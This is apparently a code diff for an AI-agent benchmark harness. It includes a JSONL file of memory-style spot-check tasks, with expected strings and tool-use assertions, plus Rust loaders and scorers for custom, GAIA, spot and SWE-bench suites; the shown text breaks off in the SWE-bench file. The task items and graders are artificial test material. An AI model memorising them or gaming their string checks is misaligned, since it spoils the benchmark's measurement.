{"id": "memory-save-reminder", "prompt": "Write a reminder to /tmp/bench-reminder.md: Dentist appointment on March 5th at 2pm with Dr. Smith. Then read the file back and tell me when the appointment is and with whom.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["March 5", "Smith"], "response_matches": "2(:00)?\\s*[Pp][Mm]", "no_error": true}}
{"id": "memory-save-meeting", "prompt": "Save these meeting notes to /tmp/bench-meeting.md:\nMeeting: Project Phoenix sync\nAttendees: Alice, Bob, Carol\nDecisions:\n- Launch date: April 15th\n- Budget: $50k approved\n- Bob owns frontend, Carol owns backend\nThen read the file back and tell me who owns the frontend and what the launch date is.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["Bob", "frontend", "April 15"], "no_error": true}}
{"id": "memory-append-log", "prompt": "Write 'Morning standup: discussed blockers on auth service' to /tmp/bench-log.md. Then append a new line 'Afternoon: resolved API timeout issue in payment gateway' to the same file. Finally read the full file and summarize what happened.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["auth", "timeout"], "min_tool_calls": 3, "no_error": true}}
{"id": "memory-recall-detail", "prompt": "Save the following project context to /tmp/bench-project.md:\nProject Ironclad uses Rust for the backend, React for the frontend, and PostgreSQL for the database. The API is deployed on AWS ECS. The lead developer is Sarah and the PM is James. The sprint ends on March 20th.\nThen read it back and answer: What database does the project use, and who is the PM?", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["PostgreSQL", "James"], "no_error": true}}
{"id": "memory-todo-priority", "prompt": "Write the following to /tmp/bench-todo.md:\n- [ ] Fix login bug (priority: HIGH)\n- [ ] Write unit tests (priority: medium)\n- [ ] Update README (priority: low)\n- [ ] Security audit (priority: HIGH)\nThen read it back and tell me which tasks are high priority.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["login bug", "security audit"], "no_error": true}}
{"id": "memory-multifile", "prompt": "Save 'Team standup at 9am, then client demo at 2pm' to /tmp/bench-monday.md and 'Sprint retro at 11am, team lunch at noon' to /tmp/bench-tuesday.md. Then read both files and tell me what's happening on Tuesday.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["retro", "lunch"], "min_tool_calls": 3, "no_error": true}}
{"id": "memory-update-context", "prompt": "Write 'User preference: dark mode, timezone: PST, language: English' to /tmp/bench-prefs.md. Then read it back, and rewrite the file changing the timezone to EST. Finally read it one more time and confirm the timezone is now EST.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["EST"], "min_tool_calls": 4, "no_error": true}}
+8
View File
@@ -0,0 +1,8 @@
task_timeout = "120s"
parallelism = 1
[[matrix]]
label = "default"
[suite_config]
dataset_path = "benchmarks/data/spot.jsonl"
+243
View File
@@ -0,0 +1,243 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::scoring;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// A single entry in the custom JSONL format.
#[derive(Debug, Deserialize)]
struct CustomEntry {
id: String,
prompt: String,
#[serde(default)]
context: Option<String>,
#[serde(default)]
tags: Vec<String>,
#[serde(default)]
expected: Option<String>,
#[serde(default)]
expected_contains: Option<String>,
#[serde(default)]
expected_regex: Option<String>,
/// "exact", "contains", "regex", or "llm" (default: "exact")
#[serde(default = "default_scorer")]
scorer: String,
}
fn default_scorer() -> String {
"exact".to_string()
}
/// Custom JSONL benchmark suite.
///
/// Each line of the JSONL file is a task with `id`, `prompt`, and scoring
/// criteria (`expected`, `expected_contains`, `expected_regex`).
pub struct CustomSuite {
dataset_path: PathBuf,
}
impl CustomSuite {
pub fn new(dataset_path: impl Into<PathBuf>) -> Self {
Self {
dataset_path: dataset_path.into(),
}
}
}
#[async_trait]
impl BenchSuite for CustomSuite {
fn name(&self) -> &str {
"Custom JSONL"
}
fn id(&self) -> &str {
"custom"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path).map_err(BenchError::Io)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: CustomEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("line {}: {}", line_num + 1, e)))?;
let mut metadata = serde_json::json!({
"scorer": entry.scorer,
});
if let Some(ref expected) = entry.expected {
metadata["expected"] = serde_json::Value::String(expected.clone());
}
if let Some(ref expected_contains) = entry.expected_contains {
metadata["expected_contains"] =
serde_json::Value::String(expected_contains.clone());
}
if let Some(ref expected_regex) = entry.expected_regex {
metadata["expected_regex"] = serde_json::Value::String(expected_regex.clone());
}
tasks.push(BenchTask {
id: entry.id,
prompt: entry.prompt,
context: entry.context,
resources: vec![],
tags: entry.tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let scorer = task
.metadata
.get("scorer")
.and_then(|v| v.as_str())
.unwrap_or("exact");
match scorer {
"exact" => {
if let Some(expected) = task.metadata.get("expected").and_then(|v| v.as_str()) {
Ok(scoring::exact_match(expected, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected' field for exact scoring".to_string(),
})
}
}
"contains" => {
if let Some(expected) = task
.metadata
.get("expected_contains")
.and_then(|v| v.as_str())
{
Ok(scoring::contains_match(expected, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected_contains' field for contains scoring".to_string(),
})
}
}
"regex" => {
if let Some(pattern) = task.metadata.get("expected_regex").and_then(|v| v.as_str())
{
Ok(scoring::regex_match(pattern, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected_regex' field for regex scoring".to_string(),
})
}
}
"llm" => {
// TODO: LLM-as-judge scoring
tracing::warn!(
task_id = %task.id,
"LLM-as-judge scoring not implemented, returning placeholder 0.5"
);
Ok(BenchScore::partial(0.5, "LLM scoring not yet implemented"))
}
other => Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: format!("unknown scorer: {other}"),
}),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_custom_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"#
)
.unwrap();
writeln!(
file,
r#"{{"id": "t2", "prompt": "Say hello", "expected_contains": "hello", "scorer": "contains"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 2);
assert_eq!(tasks[0].id, "t1");
assert_eq!(tasks[1].id, "t2");
}
#[tokio::test]
async fn test_custom_exact_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: "4".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
}
#[tokio::test]
async fn test_custom_contains_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "Greet me", "expected_contains": "hello", "scorer": "contains"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: "Hello there!".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
}
}
+183
View File
@@ -0,0 +1,183 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::scoring;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskResource, TaskSubmission};
/// GAIA dataset entry (Hugging Face JSONL format).
#[derive(Debug, Deserialize)]
struct GaiaEntry {
task_id: String,
#[serde(alias = "Question")]
question: String,
#[serde(alias = "Final answer", alias = "final_answer")]
final_answer: String,
#[serde(alias = "Level", default)]
level: Option<u32>,
#[serde(alias = "file_name", default)]
file_name: Option<String>,
}
/// GAIA benchmark suite.
///
/// Tasks are loaded from HuggingFace JSONL exports. Scoring uses normalized
/// exact match against the `final_answer` field.
pub struct GaiaSuite {
dataset_path: PathBuf,
attachments_dir: Option<PathBuf>,
}
impl GaiaSuite {
pub fn new(
dataset_path: impl Into<PathBuf>,
attachments_dir: Option<impl Into<PathBuf>>,
) -> Self {
Self {
dataset_path: dataset_path.into(),
attachments_dir: attachments_dir.map(|d| d.into()),
}
}
}
#[async_trait]
impl BenchSuite for GaiaSuite {
fn name(&self) -> &str {
"GAIA"
}
fn id(&self) -> &str {
"gaia"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: GaiaEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("GAIA line {}: {}", line_num + 1, e)))?;
let mut resources = Vec::new();
if let Some(ref file_name) = entry.file_name {
if !file_name.is_empty() {
if let Some(ref dir) = self.attachments_dir {
resources.push(TaskResource {
name: file_name.clone(),
path: dir.join(file_name).to_string_lossy().to_string(),
resource_type: crate::suite::ResourceType::File,
});
}
}
}
let mut tags = Vec::new();
if let Some(level) = entry.level {
tags.push(format!("level-{level}"));
}
let metadata = serde_json::json!({
"expected": entry.final_answer,
"level": entry.level,
});
tasks.push(BenchTask {
id: entry.task_id,
prompt: entry.question,
context: None,
resources,
tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let expected = task
.metadata
.get("expected")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::Scoring {
task_id: task.id.clone(),
reason: "missing expected answer in metadata".to_string(),
})?;
Ok(scoring::exact_match(expected, &submission.response))
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_gaia_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("gaia.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"task_id": "g1", "question": "What is the capital of France?", "final_answer": "Paris", "Level": 1}}"#
)
.unwrap();
let suite = GaiaSuite::new(&path, None::<PathBuf>);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].id, "g1");
assert!(tasks[0].tags.contains(&"level-1".to_string()));
}
#[tokio::test]
async fn test_gaia_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("gaia.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"task_id": "g1", "question": "Capital of France?", "final_answer": "Paris"}}"#
)
.unwrap();
let suite = GaiaSuite::new(&path, None::<PathBuf>);
let tasks = suite.load_tasks().await.unwrap();
// Exact match (case insensitive)
let submission = TaskSubmission {
response: "paris".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
// Wrong answer
let submission = TaskSubmission {
response: "London".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.0);
}
}
+124
View File
@@ -0,0 +1,124 @@
pub mod custom;
pub mod gaia;
pub mod spot;
pub mod swe_bench;
pub mod tau_bench;
use crate::config::BenchConfig;
use crate::error::BenchError;
use crate::suite::BenchSuite;
/// List of all known suite IDs.
pub const KNOWN_SUITES: &[(&str, &str)] = &[
("custom", "Custom JSONL tasks"),
("gaia", "GAIA benchmark (knowledge & reasoning)"),
("spot", "Spot checks (end-to-end user workflows)"),
("tau_bench", "Tau-bench (multi-turn tool use)"),
("swe_bench", "SWE-bench Pro (software engineering)"),
];
/// Create a suite adapter by name.
pub fn create_suite(name: &str, config: &BenchConfig) -> Result<Box<dyn BenchSuite>, BenchError> {
let suite_map = config.suite_config_map();
match name {
"custom" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'custom' suite".to_string(),
)
})?;
Ok(Box::new(custom::CustomSuite::new(dataset_path)))
}
"gaia" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'gaia' suite".to_string(),
)
})?;
let attachments_dir = suite_map
.get("attachments_dir")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
Ok(Box::new(gaia::GaiaSuite::new(
dataset_path,
attachments_dir,
)))
}
"spot" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'spot' suite".to_string(),
)
})?;
Ok(Box::new(spot::SpotSuite::new(dataset_path)))
}
"tau_bench" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'tau_bench' suite".to_string(),
)
})?;
let domain = suite_map
.get("domain")
.and_then(|v| v.as_str())
.unwrap_or("retail")
.to_string();
Ok(Box::new(tau_bench::TauBenchSuite::new(
dataset_path,
domain,
)))
}
"swe_bench" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'swe_bench' suite".to_string(),
)
})?;
let workspace_dir = suite_map
.get("workspace_dir")
.and_then(|v| v.as_str())
.unwrap_or("/tmp/swe-bench")
.to_string();
let use_docker = suite_map
.get("use_docker")
.and_then(|v| v.as_bool())
.unwrap_or(false);
Ok(Box::new(swe_bench::SweBenchSuite::new(
dataset_path,
workspace_dir,
use_docker,
)))
}
_ => {
let available = KNOWN_SUITES
.iter()
.map(|(id, _)| *id)
.collect::<Vec<_>>()
.join(", ");
Err(BenchError::SuiteNotFound {
name: name.to_string(),
available,
})
}
}
}
+504
View File
@@ -0,0 +1,504 @@
use std::collections::HashSet;
use std::io::BufRead;
use std::path::PathBuf;
use std::sync::Arc;
use async_trait::async_trait;
use regex::Regex;
use serde::{Deserialize, Serialize};
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// Multi-criterion assertions for a spot check scenario.
///
/// Each field generates one or more individual checks. The final score is
/// `passed_checks / total_checks`, giving a value between 0.0 and 1.0.
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
pub struct SpotAssertions {
/// All must appear in the response (case-insensitive).
#[serde(default)]
pub response_contains: Vec<String>,
/// None may appear in the response (case-insensitive).
#[serde(default)]
pub response_not_contains: Vec<String>,
/// Each tool name must appear in the tool_calls list (checked by name,
/// not by count; duplicates in tool_calls are collapsed).
#[serde(default)]
pub tools_used: Vec<String>,
/// None of these tool names may appear in the tool_calls list.
#[serde(default)]
pub tools_not_used: Vec<String>,
/// Regex pattern the response must match.
#[serde(default)]
pub response_matches: Option<String>,
/// Hard fail if the task produced an error.
#[serde(default)]
pub no_error: bool,
/// Minimum number of tool calls expected (counts duplicates).
#[serde(default)]
pub min_tool_calls: Option<usize>,
/// Maximum number of tool calls allowed (counts duplicates).
#[serde(default)]
pub max_tool_calls: Option<usize>,
}
impl SpotAssertions {
/// Evaluate all assertions against a submission, returning (score, failure_details).
pub fn evaluate(&self, submission: &TaskSubmission) -> (f64, Vec<String>) {
let mut passed: usize = 0;
let mut total: usize = 0;
let mut failures: Vec<String> = Vec::new();
// Hard fail: error check
if self.no_error {
total += 1;
if let Some(ref err) = submission.error {
failures.push(format!("no_error: task errored with: {err}"));
// Hard fail: return 0.0 immediately
return (0.0, failures);
}
passed += 1;
}
let response_lower = submission.response.to_lowercase();
// response_contains: all must appear
for needle in &self.response_contains {
total += 1;
if response_lower.contains(&needle.to_lowercase()) {
passed += 1;
} else {
failures.push(format!("response_contains: missing \"{needle}\""));
}
}
// response_not_contains: none may appear
for needle in &self.response_not_contains {
total += 1;
if response_lower.contains(&needle.to_lowercase()) {
failures.push(format!("response_not_contains: found \"{needle}\""));
} else {
passed += 1;
}
}
let tool_set: HashSet<&str> = submission.tool_calls.iter().map(|s| s.as_str()).collect();
// tools_used: each must appear
for tool in &self.tools_used {
total += 1;
if tool_set.contains(tool.as_str()) {
passed += 1;
} else {
failures.push(format!("tools_used: \"{tool}\" not called"));
}
}
// tools_not_used: none may appear
for tool in &self.tools_not_used {
total += 1;
if tool_set.contains(tool.as_str()) {
failures.push(format!("tools_not_used: \"{tool}\" was called"));
} else {
passed += 1;
}
}
// response_matches: regex pattern
if let Some(ref pattern) = self.response_matches {
total += 1;
match Regex::new(pattern) {
Ok(re) => {
if re.is_match(&submission.response) {
passed += 1;
} else {
failures.push(format!("response_matches: /{pattern}/ did not match"));
}
}
Err(e) => {
failures.push(format!("response_matches: bad regex: {e}"));
}
}
}
let call_count = submission.tool_calls.len();
// min_tool_calls
if let Some(min) = self.min_tool_calls {
total += 1;
if call_count >= min {
passed += 1;
} else {
failures.push(format!(
"min_tool_calls: expected >= {min}, got {call_count}"
));
}
}
// max_tool_calls
if let Some(max) = self.max_tool_calls {
total += 1;
if call_count <= max {
passed += 1;
} else {
failures.push(format!(
"max_tool_calls: expected <= {max}, got {call_count}"
));
}
}
if total == 0 {
return (1.0, failures);
}
let score = passed as f64 / total as f64;
(score, failures)
}
}
/// JSONL entry for a spot check scenario.
#[derive(Debug, Deserialize)]
struct SpotEntry {
id: String,
prompt: String,
#[serde(default)]
context: Option<String>,
#[serde(default)]
tags: Vec<String>,
#[serde(default)]
assertions: SpotAssertions,
}
/// Spot benchmark suite: end-to-end checks for real user workflows.
///
/// Tests conversation, individual tool use, multi-tool chaining, and robustness.
/// Each task declares multi-criterion assertions scored as passed/total.
pub struct SpotSuite {
dataset_path: PathBuf,
}
impl SpotSuite {
pub fn new(dataset_path: impl Into<PathBuf>) -> Self {
Self {
dataset_path: dataset_path.into(),
}
}
}
#[async_trait]
impl BenchSuite for SpotSuite {
fn name(&self) -> &str {
"Spot Checks"
}
fn id(&self) -> &str {
"spot"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path).map_err(BenchError::Io)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: SpotEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("spot line {}: {}", line_num + 1, e)))?;
let metadata = serde_json::json!({
"assertions": serde_json::to_value(&entry.assertions)
.map_err(|e| BenchError::Config(format!("spot {}: {}", entry.id, e)))?,
});
tasks.push(BenchTask {
id: entry.id,
prompt: entry.prompt,
context: entry.context,
resources: vec![],
tags: entry.tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let assertions: SpotAssertions = task
.metadata
.get("assertions")
.ok_or_else(|| BenchError::Scoring {
task_id: task.id.clone(),
reason: "missing assertions in metadata".to_string(),
})
.and_then(|v| {
serde_json::from_value(v.clone()).map_err(|e| BenchError::Scoring {
task_id: task.id.clone(),
reason: format!("bad assertions: {e}"),
})
})?;
let (score, failures) = assertions.evaluate(submission);
if score >= 1.0 {
Ok(BenchScore::pass())
} else if score <= 0.0 {
Ok(BenchScore::fail(failures.join("; ")))
} else {
Ok(BenchScore::partial(score, failures.join("; ")))
}
}
fn additional_tools(&self) -> Vec<Arc<dyn ironclaw::tools::Tool>> {
vec![
Arc::new(ironclaw::tools::builtin::ShellTool::new()),
Arc::new(ironclaw::tools::builtin::ReadFileTool::new()),
Arc::new(ironclaw::tools::builtin::WriteFileTool::new()),
Arc::new(ironclaw::tools::builtin::ListDirTool::new()),
Arc::new(ironclaw::tools::builtin::ApplyPatchTool::new()),
]
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
fn make_submission(
response: &str,
tool_calls: Vec<&str>,
error: Option<&str>,
) -> TaskSubmission {
TaskSubmission {
response: response.to_string(),
conversation: vec![],
tool_calls: tool_calls.into_iter().map(|s| s.to_string()).collect(),
error: error.map(|s| s.to_string()),
}
}
#[test]
fn test_all_pass() {
let assertions = SpotAssertions {
response_contains: vec!["hello".to_string()],
tools_used: vec!["echo".to_string()],
no_error: true,
..Default::default()
};
let sub = make_submission("Hello, world!", vec!["echo"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
assert!(failures.is_empty());
}
#[test]
fn test_hard_fail_on_error() {
let assertions = SpotAssertions {
no_error: true,
response_contains: vec!["hello".to_string()],
..Default::default()
};
let sub = make_submission("Hello!", vec![], Some("timeout after 60s"));
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
assert!(failures[0].contains("no_error"));
}
#[test]
fn test_partial_score() {
let assertions = SpotAssertions {
response_contains: vec!["alpha".to_string(), "beta".to_string()],
..Default::default()
};
let sub = make_submission("alpha is here but not the other", vec![], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert_eq!(failures.len(), 1);
assert!(failures[0].contains("beta"));
}
#[test]
fn test_response_not_contains() {
let assertions = SpotAssertions {
response_not_contains: vec!["error".to_string(), "fail".to_string()],
..Default::default()
};
let sub = make_submission("This is an error message", vec![], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert_eq!(failures.len(), 1);
assert!(failures[0].contains("error"));
}
#[test]
fn test_tools_used_and_not_used() {
let assertions = SpotAssertions {
tools_used: vec!["time".to_string()],
tools_not_used: vec!["shell".to_string(), "echo".to_string()],
..Default::default()
};
let sub = make_submission("The time is now", vec!["time"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
assert!(failures.is_empty());
}
#[test]
fn test_tools_not_used_fails() {
let assertions = SpotAssertions {
tools_not_used: vec!["shell".to_string()],
..Default::default()
};
let sub = make_submission("result", vec!["shell", "time"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
}
#[test]
fn test_response_matches_regex() {
let assertions = SpotAssertions {
response_matches: Some(r"\d{4}".to_string()),
..Default::default()
};
let sub = make_submission("The year is 2026", vec![], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
assert!(failures.is_empty());
}
#[test]
fn test_response_matches_regex_fail() {
let assertions = SpotAssertions {
response_matches: Some(r"^\d+$".to_string()),
..Default::default()
};
let sub = make_submission("not a number", vec![], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
}
#[test]
fn test_min_max_tool_calls() {
let assertions = SpotAssertions {
min_tool_calls: Some(2),
max_tool_calls: Some(4),
..Default::default()
};
// Within range
let sub = make_submission("ok", vec!["a", "b", "c"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
// Too few
let sub = make_submission("ok", vec!["a"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert!(failures[0].contains("min_tool_calls"));
// Too many
let sub = make_submission("ok", vec!["a", "b", "c", "d", "e"], None);
let (score, failures) = assertions.evaluate(&sub);
assert_eq!(score, 0.5);
assert!(failures[0].contains("max_tool_calls"));
}
#[test]
fn test_max_zero_tool_calls() {
let assertions = SpotAssertions {
max_tool_calls: Some(0),
..Default::default()
};
let sub = make_submission("just talking", vec![], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
let sub = make_submission("oops", vec!["echo"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 0.0);
}
#[test]
fn test_empty_assertions() {
let assertions = SpotAssertions::default();
let sub = make_submission("anything", vec!["whatever"], None);
let (score, _) = assertions.evaluate(&sub);
assert_eq!(score, 1.0);
}
#[tokio::test]
async fn test_spot_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("spot.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "s1", "prompt": "Hello", "tags": ["smoke"], "assertions": {{"response_contains": ["hello"], "no_error": true}}}}"#
)
.unwrap();
writeln!(
file,
r#"{{"id": "s2", "prompt": "Echo test", "assertions": {{"tools_used": ["echo"]}}}}"#
)
.unwrap();
let suite = SpotSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 2);
assert_eq!(tasks[0].id, "s1");
assert_eq!(tasks[1].id, "s2");
assert!(tasks[0].tags.contains(&"smoke".to_string()));
}
#[tokio::test]
async fn test_spot_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("spot.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "s1", "prompt": "Hello", "assertions": {{"response_contains": ["hello", "world"], "no_error": true}}}}"#
)
.unwrap();
let suite = SpotSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
// Full pass
let sub = make_submission("Hello World!", vec![], None);
let score = suite.score(&tasks[0], &sub).await.unwrap();
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
// Partial
let sub = make_submission("Hello there", vec![], None);
let score = suite.score(&tasks[0], &sub).await.unwrap();
assert!(score.value > 0.0 && score.value < 1.0);
assert_eq!(score.label, "partial");
// Error hard fail
let sub = make_submission("Hello World!", vec![], Some("boom"));
let score = suite.score(&tasks[0], &sub).await.unwrap();
assert_eq!(score.value, 0.0);
assert_eq!(score.label, "fail");
}
}
+416
View File
@@ -0,0 +1,416 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use regex::Regex;
use serde::Deserialize;
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// Validate that a string is safe for use as a filesystem path component.
/// Allows alphanumerics, hyphens, underscores, dots, and forward slashes (for nested paths).
/// Rejects absolute paths, `..` traversal, and shell metacharacters.
fn is_safe_path_component(s: &str) -> bool {
!s.is_empty()
&& !s.starts_with('/')
&& !s.contains("..")
&& s.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/'))
}
/// Validate that a repo string matches the expected `owner/repo` GitHub format.
fn is_valid_github_repo(repo: &str) -> bool {
// Match "owner/repo" where both parts are alphanumeric with hyphens/underscores/dots
static REPO_PATTERN: std::sync::LazyLock<Regex> =
std::sync::LazyLock::new(|| Regex::new(r"^[a-zA-Z0-9._-]+/[a-zA-Z0-9._-]+$").unwrap());
REPO_PATTERN.is_match(repo)
}
/// Validate that a string looks like a git ref (hex SHA or valid ref name).
fn is_valid_git_ref(s: &str) -> bool {
!s.is_empty()
&& s.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/'))
&& !s.contains("..")
}
/// SWE-bench dataset entry.
#[derive(Debug, Deserialize)]
struct SweBenchEntry {
instance_id: String,
repo: String,
base_commit: String,
#[serde(default)]
problem_statement: String,
#[serde(default)]
hints_text: Option<String>,
#[serde(default)]
test_patch: Option<String>,
#[serde(default)]
patch: Option<String>,
}
/// SWE-bench Pro: real-world software engineering tasks.
///
/// Each task clones a repo at a specific commit, presents the problem statement,
/// and expects the agent to produce a patch. Scoring runs the test suite.
pub struct SweBenchSuite {
dataset_path: PathBuf,
workspace_dir: PathBuf,
use_docker: bool,
}
impl SweBenchSuite {
pub fn new(
dataset_path: impl Into<PathBuf>,
workspace_dir: impl Into<PathBuf>,
use_docker: bool,
) -> Self {
Self {
dataset_path: dataset_path.into(),
workspace_dir: workspace_dir.into(),
use_docker,
}
}
}
#[async_trait]
impl BenchSuite for SweBenchSuite {
fn name(&self) -> &str {
"SWE-bench Pro"
}
fn id(&self) -> &str {
"swe_bench"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: SweBenchEntry = serde_json::from_str(trimmed).map_err(|e| {
BenchError::Config(format!("swe_bench line {}: {}", line_num + 1, e))
})?;
if !is_safe_path_component(&entry.instance_id) {
return Err(BenchError::Config(format!(
"swe_bench line {}: unsafe instance_id \"{}\"",
line_num + 1,
entry.instance_id,
)));
}
if !is_valid_github_repo(&entry.repo) {
return Err(BenchError::Config(format!(
"swe_bench line {}: invalid repo format \"{}\"",
line_num + 1,
entry.repo,
)));
}
if !is_valid_git_ref(&entry.base_commit) {
return Err(BenchError::Config(format!(
